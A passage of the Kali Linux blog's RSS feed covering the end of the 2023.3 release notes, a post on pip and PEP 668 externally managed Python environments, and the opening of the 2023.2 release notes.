&lt;li>&lt;a href="http://repo.kali.org/britney">Britney2&lt;/a> (&lt;a href="https://gitlab.com/kalilinux/tools/britney2">Git repo&lt;/a>) - Migrates packages between all of our suites (aka &lt;a href="https://www.kali.org/docs/general-use/kali-branches/">branches&lt;/a>, such as &amp;ldquo;debian-testing&amp;rdquo;, &amp;ldquo;kali-rolling&amp;rdquo;, and &amp;ldquo;kali-last-snapshot&amp;rdquo; to name a few).&lt;/li>
&lt;li>&lt;a href="http://repo.kali.org/build-logs/">Build-Logs&lt;/a> - Output of &lt;a href="https://gitlab.com/kalilinux/build-scripts/">our images/platform&lt;/a> as well as &lt;a href="https://gitlab.com/kalilinux/packages">packages&lt;/a> being created on each supported architecture.&lt;/li>
&lt;li>&lt;a href="https://janitor.kali.org/">Janitor&lt;/a> - This is our automated packager as it will apply everything from minor formatting changes to preparing an package update.
&lt;ul>
&lt;li>&lt;em>The long term goal of this is to have it handle kali-bleeding-edge, linking into AutoPkgTest.&lt;/em>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/">Package Tracker&lt;/a> - Tracks each packages version&amp;rsquo;s history.&lt;/li>
&lt;li>&lt;a href="https://kalilinux.gitlab.io/tools/packaging/">Packaging CI Overview&lt;/a> (&lt;a href="https://gitlab.com/kalilinux/tools/packaging/-/blob/main/bin/gitlab-overview?ref_type=heads">Git repo&lt;/a>) - Quick (and dirty) overview of our package&amp;rsquo;s CI status. &lt;/li>
&lt;li>&lt;a href="https://kalilinux.gitlab.io/tools/upstream-watch/">Upstream-Watch&lt;/a> (&lt;a href="https://gitlab.com/kalilinux/tools/upstream-watch">Git repo&lt;/a>) - Monitors when there is an update upstream.&lt;/li>
&lt;/ul>
&lt;h2 id="kali-autopilot">Kali Autopilot&lt;/h2>
&lt;p>With the release of &lt;a href="https://gitlab.com/kalilinux/kali-purple/documentation/-/wikis/home">Kali Purple&lt;/a> in &lt;a href="https://www.kali.org/blog/kali-linux-2023-1-release/">Kali 2023.1&lt;/a>, we also had the debut of &lt;a href="https://gitlab.com/re4son/kali-autopilot/-/wikis/home">Kali Autopilot&lt;/a>. Since then, its been worked on and is unrecognizable with its redesigned GUI and multitudinous amount of features added.&lt;/p>
&lt;p>&lt;strong>What is Kali Autopilot? We are glad you asked!&lt;/strong>
Kali Autopilot is an automated attack framework. It is a bit like an &amp;ldquo;AutoPwner&amp;rdquo;, which follows pre-defined &amp;ldquo;attack scenarios&amp;rdquo;.
The motivation originally started its development for the defensive side of Kali.&lt;/p>
&lt;p>It is a lot easier to demonstrate Kali&amp;rsquo;s offensive side, &lt;em>especially when you start seeing the shells popping up&lt;/em>.
But when it comes to the defensive side, how do you know if you have set things up? You start to ask questions:&lt;/p>
&lt;ul>
&lt;li>Are the Intrusion Detection System (IDS) and the Web Application Firewall (WAF) detecting malicious activities?&lt;/li>
&lt;li>Is the Security information and event management (SIEM) ingesting the right logs?&lt;/li>
&lt;li>Are the dashboards and alerts tuned to detect attacks?&lt;/li>
&lt;li>Are the analysts trained in finding the needle in the haystack?&lt;/li>
&lt;li>Has it been tested? &lt;em>How can you test?&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>Either you can wait for someone to try and break in, or you could do it yourself. This is where Kali Autopilot comes in.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-3-release/images/kali-autopilot.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-3-release/images/kali-autopilot.png" alt="Kali AutoPilot" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Kali Autopilot consists of a GUI tool to design attacks and to generate attack scripts that perform those attack sequences, either manually or as a service, together with a web API interface for remote control.
You can also download example attack scripts from the &lt;a href="https://gitlab.com/kalilinux/kali-purple/purple-hub">Kali Purple Hub&lt;/a>. We currently have scripts for &lt;a href="https://www.kali.org/tools/juice-shop/">juice-shop&lt;/a> and &lt;a href="https://www.kali.org/tools/dvwa/">DWVA&lt;/a>. Just download the JSON from the hub and import it into Kali Autopilot.&lt;/p>
&lt;p>This tool has come along a lot in the last 6 months, and no plans on slowing down. As always, its shaped by the &lt;a href="https://www.kali.org/community/">community&lt;/a>; ideas, features, and direction can be submitted and shaped by YOU.
If you have developed attack scripts for vulnerable machines, we would love to include it on our &lt;a href="https://gitlab.com/kalilinux/kali-purple/purple-hub">Kali Purple Hub&lt;/a>.&lt;/p>
&lt;h2 id="new-tools-in-kali">New Tools in Kali&lt;/h2>
&lt;p>We will kick it off with what&amp;rsquo;s new &lt;em>(to the network repositories)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/tools/calico/">Calico&lt;/a> - Cloud native networking and network security&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/cri-tools/">cri-tools&lt;/a> - CLI and validation tools for Kubelet Container Runtime Interface&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/hubble/">Hubble&lt;/a> - Network, Service &amp;amp; Security Observability for Kubernetes using eBPF&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/imhex/">ImHex&lt;/a> - A Hex Editor for reverse engineers, programmers and people who value their retinas when working at 3 AM&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/kustomize/">kustomize&lt;/a> - Customization of kubernetes YAML configurations&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/rekono-kbx/">Rekono&lt;/a> - Automation platform that combines different hacking tools to complete pentesting processes&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/rz-ghidra/">rz-ghidra&lt;/a> - Deep ghidra decompiler and sleigh disassembler integration for rizin&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/unblob/">unblob&lt;/a> - Extract files from any kind of container formats&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/villain/">Villain&lt;/a> - C2 framework that can handle multiple reverse shells, enhance their functionality and share them among instances&lt;/li>
&lt;/ul>
&lt;p>&lt;em>We also bumped the Kali kernel to 6.3.7.&lt;/em>&lt;/p>
&lt;p>Along with new tools being added to Kali, there has been numerous packages and libraries updates, both major and minor version such as: &lt;a href="https://www.kali.org/tools/gvm/">Greenbone&lt;/a>, &lt;a href="https://www.kali.org/tools/humble/">Humble&lt;/a>, &lt;a href="https://www.kali.org/tools/impacket/">Impacket&lt;/a>, &lt;a href="https://www.kali.org/tools/jsql/">jSQL&lt;/a>, &lt;a href="https://www.kali.org/tools/zaproxy/">OWASP ZAP&lt;/a>, &lt;a href="https://www.kali.org/tools/rizin-cutter/">Rizin&lt;/a>, &lt;a href="https://www.kali.org/tools/tetragon/">Tetragon&lt;/a>, &lt;a href="https://www.kali.org/tools/theharvester/">theHarvester&lt;/a>, &lt;a href="https://www.kali.org/tools/wireshark/">Wireshark&lt;/a> and &lt;strong>many many more&lt;/strong>.&lt;/p>
&lt;p>Unfortunately &lt;a href="https://www.kali.org/docs/tools/removed-tools/">we had to drop a few packages&lt;/a> from Kali:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/tools/king-phisher/">king-phisher&lt;/a> - The tool is no longer maintained by the original author
&lt;ul>
&lt;li>As an alternative, check &lt;a href="https://www.kali.org/tools/gophish/">GoPhish&lt;/a> as a replacement&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/king-phisher/">plecost&lt;/a> - Tool does not work with Python 3.11, and no response from original author
&lt;ul>
&lt;li>For an replacement, try &lt;a href="https://www.kali.org/tools/wpscan/">WPScan&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="rekono---community-package-submission">Rekono - Community Package Submission&lt;/h3>
&lt;p>We get a large amount of requests to add tools into Kali. We do have a &lt;a href="https://www.kali.org/docs/policy/penetration-testing-tools-policy/">policy of what tools are added to Kali&lt;/a> and a process of how tools are packaged up and added (from network repositories to the default installed toolset). The draw back is that we do not have enough human power to be able to process them all.
Our solution to this has been to help tool authors and/or anyone from the &lt;a href="https://www.kali.org/community/">Kali community&lt;/a> create packages by writing a series of detailed, step-by-step guides covering the complete process and workflow of how we built those packages:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/docs/development/setting-up-packaging-system/">Setting up a system for packaging&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/development/intro-to-packaging-example/">Introduction to packaging step-by-step example&lt;/a> - &lt;a href="https://www.kali.org/tools/instaloader/">Instaloader&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/development/intermediate-packaging-example/">Intermediate packaging step-by-step example&lt;/a> - &lt;a href="https://www.kali.org/tools/photon/">Photon&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/development/advanced-packaging-example/">Advanced Packaging Step-By-Step Example&lt;/a> - &lt;a href="https://www.kali.org/tools/finalrecon/">FinalRecon&lt;/a> &amp;amp; &lt;a href="https://pkg.kali.org/pkg/python-icmplib">Python-icmplib&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/development/packaging-apps-with-kaboxer/">Packaging Applications with Kaboxer&lt;/a> - &amp;ldquo;Hello World&amp;rdquo; with a Docker container&lt;/li>
&lt;/ul>
&lt;p>When the tool was originally submitted by the tool author, we reviewed it, liked it, and agreed it should be in Kali. We did not have the cycles to process it ourselves quick enough, but the tool author did. They step up, and then re-submitted it again with them packaging up their tool.
This saved us a lot of leg work, so reviewing the package became a breeze, and shortly after was added into Kali.&lt;/p>
&lt;p>If you are wanting a tool added into Kali - and you would like for it to happen sooner than we can do, have a go at trying to package yourself!
There are other sources of doing &amp;ldquo;Debian packaging&amp;rdquo; out there, as well as our linked guides above. There is a initial learning curve, but its not as complex as you may think (especially if you are comfortable using Linux).&lt;/p>
&lt;p>Please note, we compile packages from &lt;a href="https://www.kali.org/docs/policy/kali-linux-open-source-policy/">source&lt;/a>. &lt;strong>Submitting a binary &lt;code>*.deb&lt;/code> file will not be accepted&lt;/strong>.&lt;/p>
&lt;h2 id="miscellaneous">Miscellaneous&lt;/h2>
&lt;p>Below are a few other things which have been updated in Kali, which we are calling out which do not have as much detail:&lt;/p>
&lt;ul>
&lt;li>Added Pipewire support when using Hyper-V in enhanced session mode&lt;/li>
&lt;li>Added &lt;code>kali-hidpi-mode&lt;/code> to support Kali-Purple&lt;/li>
&lt;li>Improved installation of Kali-Purple by removing the need to run any commands after installing &lt;code>kali-themes-purple&lt;/code> &lt;/li>
&lt;li>Kali-Purple has a purple menu icon! &lt;/li>
&lt;li>The final reminder about &lt;a href="https://www.kali.org/blog/python-externally-managed/">the breaking change with Python 3.12 &amp;amp; PIP&lt;/a> &lt;/li>
&lt;/ul>
&lt;h2 id="kali-nethunter-updates">Kali NetHunter Updates&lt;/h2>
&lt;p>We are proud to introduce a redesigned Kali NetHunter app and a completely new NetHunter Terminal, thanks to the amazing work of our very own &lt;a href="https://twitter.com/martindatoss">@martin&lt;/a> and &lt;a href="https://twitter.com/yesimxev">@yesimxev&lt;/a>. &lt;/p>
&lt;p>On the &lt;a href="https://nethunter.kali.org/kernels.html">Kali NetHunter kernel&lt;/a> side, there are numerous updates:&lt;/p>
&lt;ul>
&lt;li>LG V20 for Lineage 19.1&lt;/li>
&lt;li>Nexus 6P for Android 8.0 (Oreo)&lt;/li>
&lt;li>Nothing Phone (1) for Android 12 (Snow cone) and 13 (Tiramisu) &lt;em>(new)&lt;/em>&lt;/li>
&lt;li>Pixel 3/XL for Android 13 (Tiramisu)&lt;/li>
&lt;li>Samsung Galaxy A7 for LineageOS 18.1 &lt;em>(new)&lt;/em>&lt;/li>
&lt;li>Xiaomi Mi A3 for Lineage 20&lt;/li>
&lt;li>Xiaomi Redmi 4/4X for VoltageOS 2.5&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-3-release/images/NetHunter-Nothing.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-3-release/images/NetHunter-Nothing.png" alt="Nothing Phone (1)" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Also worth mentioning:&lt;/p>
&lt;ul>
&lt;li>By popular demand we have added a SELinux disabler.&lt;/li>
&lt;li>Please note until we are able to replace Mana Toolkit, we have had to temporary downgrade iptables.&lt;/li>
&lt;/ul>
&lt;h2 id="kali-arm-updates">Kali ARM Updates&lt;/h2>
&lt;p>The &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-zero-w/">Raspberry Pi Zero W&lt;/a> image now boots to CLI and not &lt;a href="https://www.kali.org/docs/general-use/switching-desktop-environments/">GUI&lt;/a>.
This change is in line with what we did with the &lt;a href="https://www.kali.org/docs/arm/raspberry-pi/">Raspberry Pi 1&lt;/a> image a few releases ago.
If you do not create a &lt;code>wpa_supplicant.conf&lt;/code> to use, the easiest way to connect to a Wi-Fi network on the command line is to use the &lt;code>nmtui&lt;/code> command.
Alternatively, you can use &lt;code>sudo nmcli --ask dev wifi connect network-ssid&lt;/code> to have it ask you for the password on the command line, without it showing up in your history.&lt;/p>
&lt;p>&lt;a href="https://www.kali.org/docs/arm/usb-armory-mki/">USBArmory MKI&lt;/a> and &lt;a href="https://www.kali.org/docs/arm/usb-armory-mkii/">MKII&lt;/a> have had their bootloaders updated to 2023.07.&lt;/p>
&lt;p>The &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm/">ARM build scripts&lt;/a> have had some minor tweaks to deal with &lt;a href="https://pkg.kali.org/pkg/policykit-1">policykit&lt;/a> updates to make sure the &lt;code>pkla&lt;/code> files are properly created. &lt;/p>
&lt;h2 id="kali-website-updates">Kali Website Updates&lt;/h2>
&lt;p>Our &lt;a href="https://www.kali.org/docs/">Kali documentation&lt;/a> has had various updates to existing pages as well as new pages:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/docs/community/contribute/">Contribute to Kali&lt;/a> &lt;em>(updated)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/installation/network-pxe/">Deploying Kali over Network PXE Install&lt;/a> &lt;em>(updated)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/general-use/wayland/">Wayland&lt;/a> &lt;em>(new)&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>A website is never complete, and our homepage is no exception. Recently we have been making some improvements:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/get-kali/">Get Kali&lt;/a> - Should be a little easier to scroll and move about the page now, switching between platforms&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/partnerships/">Partnerships&lt;/a> - Updated to say a thank you to the new partnerships!&lt;/li>
&lt;/ul>
&lt;p>Since our last release, we also did the following &lt;a href="https://www.kali.org/blog/">blog posts&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/blog/python-externally-managed/">Pip install and Python&amp;rsquo;s externally managed&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="community-shout-outs">Community Shout-Outs&lt;/h2>
&lt;p>These are &lt;strong>people from the public who have helped Kali&lt;/strong> and the team for the last release. And we want to praise them for their work &lt;em>(we like to give credit where due!)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://gitlab.com/Anutrix">Anutrix&lt;/a> - who helped with &lt;a href="https://www.kali.org/docs/">kali.org/docs/&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/Arszilla">Arszilla&lt;/a> - who helped with &lt;a href="https://www.kali.org/tools/kali-meta/">i3&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/Croluy">Croluy&lt;/a> - who helped with &lt;a href="https://www.kali.org/docs/">kali.org/docs/&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/pablosnt">Pablo Santiago López&lt;/a> - who helped with &lt;a href="https://www.kali.org/tools/rekono-kbx/">rekono-kbx&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/ron190">ron190&lt;/a> - who helped with &lt;a href="https://www.kali.org/tools/">kali.org/tools/&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/Salty_">Salty_&lt;/a> - helping with the Raspberry Pi release testing.&lt;/li>
&lt;/ul>
&lt;p>Anyone can help out, anyone can get &lt;a href="https://www.kali.org/docs/community/contribute/">involved&lt;/a>!&lt;/p>
&lt;h3 id="new-kali-mirrors">New Kali Mirrors&lt;/h3>
&lt;p>We have another community mirror:&lt;/p>
&lt;ul>
&lt;li>Armenia: &lt;a href="http://kali.mirror1.gnc.am/">kali.mirror1.gnc.am&lt;/a> and &lt;a href="http://kali.mirror2.gnc.am/">kali.mirror2.gnc.am&lt;/a>, sponsored by &lt;a href="http://www.gnc.am/">GNC-ALFA CJSC&lt;/a>, thanks to Vahe Avagyan.&lt;/li>
&lt;/ul>
&lt;p>If you have the disk space and bandwidth, &lt;a href="https://www.kali.org/docs/community/setting-up-a-kali-linux-mirror/">we always welcome new mirrors&lt;/a>.&lt;/p>
&lt;hr>
&lt;h2 id="kali-team-discord-chat">Kali Team Discord Chat&lt;/h2>
&lt;p>Since the launch of &lt;a href="https://discord.kali.org">our Discord server&lt;/a> with &lt;a href="https://www.kali.org/blog/kali-linux-2022-3-release/">Kali 2022.3&lt;/a>, we have been doing an hour long voice chat with a number of Kali team members. This is when anyone can ask questions (hopefully relating to Kali or the information security industry) to us.&lt;/p>
&lt;p>The next session will happen a week after the release, &lt;strong>Wednesday, 30th August 2023 16:00 -&amp;gt; 17:00 &lt;a href="https://time.is/UTC">UTC/+0 GMT&lt;/a>&lt;/strong>.&lt;/p>
&lt;p>&lt;em>Please note we will not be recording this session. This is a live event only.&lt;/em>&lt;/p>
&lt;hr>
&lt;h2 id="get-kali-linux-20233">Get Kali Linux 2023.3&lt;/h2>
&lt;p>&lt;strong>Fresh Images&lt;/strong>:
Simple, &lt;a href="https://www.kali.org/get-kali/">Get Kali&lt;/a>!&lt;/p>
&lt;p>Did you know, we do also produce &lt;strong>&lt;a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly builds&lt;/a>&lt;/strong> that you can use as well.
These are for people who cannot wait for our next release and you want the latest packages &lt;em>(or bug fixes)&lt;/em>. This way you will have fewer updates to do.
&lt;em>Just know that these are automated builds that we do not QA like we do our standard &lt;a href="https://www.kali.org/releases/">release images&lt;/a>&lt;/em>. But we gladly take &lt;a href="https://bugs.kali.org/">bug reports&lt;/a> about those images because we want any issues to be fixed before our next release!&lt;/p>
&lt;p>&lt;strong>Existing Installs&lt;/strong>:
If you already have an existing Kali Linux installation, remember you can always do a quick &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">update&lt;/a>:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ echo &amp;quot;deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware&amp;quot; | sudo tee /etc/apt/sources.list
[...]
┌──(kali㉿kali)-[~]
└─$ sudo apt update &amp;amp;&amp;amp; sudo apt -y full-upgrade
[...]
┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~/
[...]
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] &amp;amp;&amp;amp; sudo reboot -f
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2023.3 We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION=&amp;quot;2023.3&amp;quot;
VERSION_ID=&amp;quot;2023.3&amp;quot;
VERSION_CODENAME=&amp;quot;kali-rolling&amp;quot;
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29)
┌──(kali㉿kali)-[~]
└─$ uname -r
6.3.0-kali1-amd64
&lt;/code>&lt;/pre>
&lt;p>&lt;em>NOTE: The output of &lt;code>uname -r&lt;/code> may be different depending on the system &lt;a href="https://pkg.kali.org/pkg/linux">architecture&lt;/a>.&lt;/em>&lt;/p>
&lt;p>As always, should you come across any bugs in Kali, please submit a report on our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>. &lt;em>We will never be able to fix what we do not know is broken!&lt;/em> &lt;strong>And Social networks are not bug trackers!&lt;/strong>&lt;/p>
&lt;p>Want to keep in up-to-date easier? Automate it! We have a &lt;a href="https://www.kali.org/rss.xml">RSS feeds&lt;/a> and &lt;a href="https://www.kali.org/newsletter/">newsletter&lt;/a> of our &lt;a href="https://www.kali.org/blog/">blog&lt;/a> to help you.&lt;/p></description></item><item><title>Pip install and Python's externally managed</title><link>https://www.kali.org/blog/python-externally-managed/</link><guid isPermaLink="true">https://www.kali.org/blog/python-externally-managed/</guid><pubDate>Thu, 06 Jul 2023 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/python-externally-managed/images/banner-python-externally-managed.jpg" type="image/jpg"/><description>&lt;p>TL;DR: &lt;code>pip install&lt;/code> is on the way out. Installing Python packages must be done via APT, aka. Kali Linux&amp;rsquo;s package manager. Python packages coming from other sources should be installed in virtual environments.&lt;/p>
&lt;p>Long story below.&lt;/p>
&lt;h2 id="some-background">Some background&lt;/h2>
&lt;p>Back in February this year, for a few days, some of you might have tried (and failed) to install Python packages with &lt;a href="https://pip.pypa.io/en/stable/">Pip&lt;/a>, aka. Python&amp;rsquo;s package manager. Suddenly it didn&amp;rsquo;t work anymore, and it gave this error message instead:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(root㉿kali)-[~]
└─$ pip install xyz
error: externally-managed-environment
? This environment is externally managed
╰─&amp;gt; To install Python packages system-wide, try apt install
python3-xyz, where xyz is the package you are trying to
install.
If you wish to install a non-Debian-packaged Python package,
create a virtual environment using python3 -m venv path/to/venv.
Then use path/to/venv/bin/python and path/to/venv/bin/pip. Make
sure you have python3-full installed.
If you wish to install a non-Debian packaged Python application,
it may be easiest to use pipx install xyz, which will manage a
virtual environment for you. Make sure you have pipx installed.
See /usr/share/doc/python3.11/README.venv for more information.
note: If you believe this is a mistake, please contact your Python installation
or OS distribution provider. You can override this, at the risk of breaking
your Python installation or OS, by passing --break-system-packages.
hint: See PEP 668 for the detailed specification.
&lt;/code>&lt;/pre>
&lt;p>This change came about without a notice, and judging by the early reports that we received, it was clear that it would impact many users. So we reverted it, and therefore &lt;code>pip install&lt;/code> &lt;a href="https://www.kali.org/blog/kali-linux-2023-1-release/#python-updates--changes">still works in Kali Linux these days&lt;/a>. But not for long: when Python 3.12 hits Kali (around end of 2023 or beginning of 2024), it will stop working, this time for good. There&amp;rsquo;s not much we can do about it, it&amp;rsquo;s an upstream change, we have to go with the flow.&lt;/p>
&lt;p>So why this change? Running &lt;code>pip install&lt;/code> as root, in order to install Python packages system-wide, has never been a great idea. In a Linux distribution such as Kali, Python packages are already installed and managed via &lt;em>APT&lt;/em>. If you bring in another package manager (&lt;em>pip&lt;/em> in this case), it is likely to break packages and programs that were installed by APT, sooner or later. Then APT might break again what was installed by pip. Both package managers will endlessly step on each other&amp;rsquo;s toes.&lt;/p>
&lt;p>One could also run &lt;code>pip install --user&lt;/code> to install packages in the user&amp;rsquo;s home directory, but the problem is the same. Those packages will be picked up by Python applications as they run, and might not be compatible with other packages installed by &lt;em>APT&lt;/em>, causing programs to misbehave or break.&lt;/p>
&lt;p>The issue is not new, but it doesn&amp;rsquo;t impact all users equally. Seasoned users of Linux distributions already know what to do, and NOT to do, and they can fix their system when it breaks. However, unexperienced users don&amp;rsquo;t know, so they are likely to shoot themselves in the foot. And nobody can blame them, there are so many web pages out there recommending to run &lt;code>sudo pip install&lt;/code> without providing enough context.&lt;/p>
&lt;p>We (Kali developers, and more generally distro developers), are well aware of the issue: bug reports for Python applications that don&amp;rsquo;t work are a common occurence, and we often can&amp;rsquo;t reproduce the issue, and we often find out that it doesn&amp;rsquo;t work because some packages or applications were installed with &lt;em>pip&lt;/em>, and interfere with other packages installed with &lt;em>APT&lt;/em>. These recurring bug reports are not actionable, there&amp;rsquo;s nothing we can fix on our side. Users get burnt and they learn from it, but it&amp;rsquo;s no fun.&lt;/p>
&lt;h2 id="whats-changing">What&amp;rsquo;s changing&lt;/h2>
&lt;p>Now, back to the upcoming change: &lt;strong>in Kali Linux, starting with Python 3.12, pip will refuse to perform system-wide installs (&lt;code>sudo pip install&lt;/code>) as well as user home directory installs (&lt;code>pip install --user&lt;/code>)&lt;/strong>. This is good news, because it will make it harder for unexperienced users to break their system. This is a welcome change, and we are thankful to those who drove this change and made it happen. Long-term, it will be less pain for everyone. But short-term, some users won&amp;rsquo;t like it, of course, we know.&lt;/p>
&lt;p>So if you&amp;rsquo;re one of those who run &lt;code>sudo pip install&lt;/code>, who have it hardwired in your fingers&amp;hellip; well, you&amp;rsquo;ll have to adjust. You might want to have a look at &lt;a href="https://pypa.github.io/pipx/">pipx&lt;/a>, get more familiar with Python&amp;rsquo;s virtual environments, and spend some time reading &lt;a href="https://peps.python.org/pep-0668/">PEP 668: Marking Python environments as externally managed&lt;/a> to better understand the issue at hand.&lt;/p>
&lt;p>To finish, and to give a bit of a broader context: the PEP 668 proposal came about as a coordinated effort from various software distributions to fix this long-standing issue of &lt;em>pip&lt;/em> breaking other package managers too easily. The change is already effective in other Linux distros (like the latest release of Debian). In Kali Linux, we just delayed it a bit, so that we can warn you in advance, so that you can adjust your workflow and scripts. But the change is coming with Python 3.12, there&amp;rsquo;s no point delaying it further.&lt;/p>
&lt;p>Thanks for reading!&lt;/p></description></item><item><title>Kali Linux 2023.2 Release (Hyper-V &amp; PipeWire)</title><link>https://www.kali.org/blog/kali-linux-2023-2-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2023-2-release/</guid><pubDate>Tue, 30 May 2023 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/kali-linux-2023-2-release/images/banner-2023.2-release.jpg" type="image/jpg"/><description>&lt;p>Quick off the mark from previous &lt;a href="https://www.kali.org/blog/10-years/">10 year anniversary&lt;/a>, &lt;strong>Kali Linux 2023.2&lt;/strong> is now here. It is ready for immediate &lt;a href="https://www.kali.org/get-kali/">download&lt;/a> or &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">upgrading&lt;/a> &lt;em>if you have an existing Kali Linux installation&lt;/em>.&lt;/p>
&lt;p>The &lt;a href="https://bugs.kali.org/changelog_page.php">changelog&lt;/a> highlights over the last few weeks since March&amp;rsquo;s &lt;a href="https://www.kali.org/releases/">release&lt;/a> of &lt;a href="https://www.kali.org/blog/kali-linux-2023-1-release/">2023.1&lt;/a> is:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-2-release/#new-hyper-v-vm-image">New VM image for Hyper-V&lt;/a>&lt;/strong> - With &amp;ldquo;Enhanced Session Mode&amp;rdquo; out of the box&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-2-release/#xfce--pipewire">Xfce audio stack update: enters PipeWire&lt;/a>&lt;/strong> - Better audio for Kali&amp;rsquo;s default desktop&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-2-release/#i3-desktop-overhaul">i3 desktop overhaul&lt;/a>&lt;/strong> - i3-gaps merged with i3&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-2-release/#xfce">Desktop updates&lt;/a>&lt;/strong> - Easy hashing in Xfce&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-2-release/#gnome-44">GNOME 44&lt;/a>&lt;/strong> - Gnome Shell version bump&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-2-release/#gnome-44">Icons &amp;amp; menus updates&lt;/a>&lt;/strong> - New apps and icons in menu&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-2-release/#new-tools-in-kali">New tools&lt;/a>&lt;/strong> - As always, various new packages added&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="new-hyper-v-vm-image">New Hyper-V VM Image&lt;/h2>
&lt;p>With this release, we welcome a new member in the family of pre-built VM images! We now provide an &lt;a href="https://www.kali.org/get-kali/#kali-virtual-machines">image for Microsoft Hyper-V&lt;/a>.&lt;/p>
&lt;p>For those familiar with the matter, let&amp;rsquo;s jump straight into the details. This is a GEN2 image for Hyper-V, pre-configured for &lt;em>Enhanced Session Mode&lt;/em>. All you need to do is to download the image, unpack it, then run the script &lt;code>install-vm.bat&lt;/code>. Afterwards open the Hyper-V Manager and start the VM. Hyper-V should automatically propose to connect via Enhanced Session Mode (aka. xRDP over HvSocket), thereby greatly improving the user experience.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-2-release/images/kali-hyperv-connect.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-2-release/images/kali-hyperv-connect.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Before that, enabling Enhanced Session Mode required some manual steps, both on Windows and in the Kali VM, and it was not super easy. We hope that this new images provides a better out-of-the box experience for Hyper-V users. In fact, there should now be zero configuration required.&lt;/p>
&lt;p>More details about this new image can be found in our documentation, on the page &lt;a href="https://www.kali.org/docs/virtualization/import-premade-hyperv/">Import Pre-Made Kali Hyper-V VM&lt;/a>.&lt;/p>
&lt;h2 id="xfce--pipewire">Xfce &amp;amp; PipeWire&lt;/h2>
